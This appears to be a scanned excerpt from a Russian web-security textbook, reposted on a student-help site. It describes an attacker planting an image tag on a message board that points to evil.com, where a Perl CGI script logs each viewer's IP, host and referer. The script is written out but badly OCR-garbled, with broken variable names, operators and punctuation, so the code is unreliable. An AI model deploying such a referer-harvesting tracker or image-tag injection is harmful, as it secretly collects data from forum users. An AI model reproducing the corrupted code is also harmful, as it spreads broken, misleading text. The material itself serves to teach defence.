Главная Случайная страница Контакты | Мы поможем в написании вашей работы! | ||
|
Зависит от того, насколько вы позаботились
О безопасности своих пользователей. К примеру Vasya может написать следующий скрипт (назовем его
sniff.cgi):
н\ /usr/bin/peri $1од = "snifflog.txt"; $now_s1:ring = localtime:
@thetime = split (/ +/, $now_st ring);
iatheclock=split(/:/,$thetime[3]); $ampm= 'am';
if($theclock[0]>11) { $ampm = ' pm'; } if($theclock[0]-0) {
$theclock[0] = 12; } if ($theclock[0] > 12) {$theclock[0]-=12;}
else { $theclock[0] += 0; }
$lnum=$ENV{'QUERY_STRING'}:
open(DB, "$log") 11 die "Can't Open $1од: $!\n"; flock(DB, 2): io)line=<DB>:
flock(DB, 8); close(DB):
$value = $ENV{ ' HTTP_REFERER' }; $value =' tr/+/ /; $value =' s/%([a-fA-FO-9][a-fA-FO-
9])/pack("C", hex($1))/eg;
$line0^"[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ". $ENV{ ' REMOTE_ADDR' }. __ ". $ENV{
' REMOTE_HOST' }. __ ". $ENV{ ' HTTP_X_FORWARDED_FOR' }. " [ ". $value."]":
$maxline=@)line: $maxline=30 if ($maxline>30);
open (DB, ">$log") I I die "Can't Open $1од: $!\n": flock(DB, 2); print DB
("$line0\n"): for ($i=0; $i<$maxline; $i++)
{
print DB ("$line[$i]"); }
flock(DB, 8): close(DB); print "Location: http://soiiiehost/soirepic.gif\n\n":
Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу
доску код вида <img src="http:// www. evil.com/cgi-bin/sniff.cgi"> (либо просто установит у себя на машине Web-
сервер, вставит код <img src="http://vasya. home. host/somepic.gif"> и начнет изучать log-файл своего сервера).
Дата публикования: 2014-11-04; Прочитано: 314 | Нарушение авторского права страницы | Мы поможем в написании вашей работы!